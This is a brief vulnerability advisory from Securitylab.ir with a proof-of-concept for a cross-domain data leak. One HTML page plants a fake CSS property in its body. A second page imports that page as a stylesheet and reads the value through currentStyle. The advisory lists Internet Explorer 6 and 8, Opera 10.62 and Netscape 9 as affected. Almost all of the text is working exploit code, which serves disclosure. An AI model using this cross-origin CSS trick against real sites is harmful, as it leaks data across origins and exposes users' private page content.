Proof Of Concept:
1.html:
<body>
{}body{DOM:
Cross Domain Vulnerability
2.html:
<style>
@import url("1.html");
</style>
<script>
setTimeout(function(){
var s = document.body.currentStyle.DOM;
alert(s);
},0);
</script>
Vulnerable:
Microsoft Internet Explorer 6 & 8, IE 7 not tested
Opera 10.62
Netscape v9.0.0.6
By: Securitylab.ir
Original Advisory: http://Securitylab.ir/Advisories/MBCCD.pdf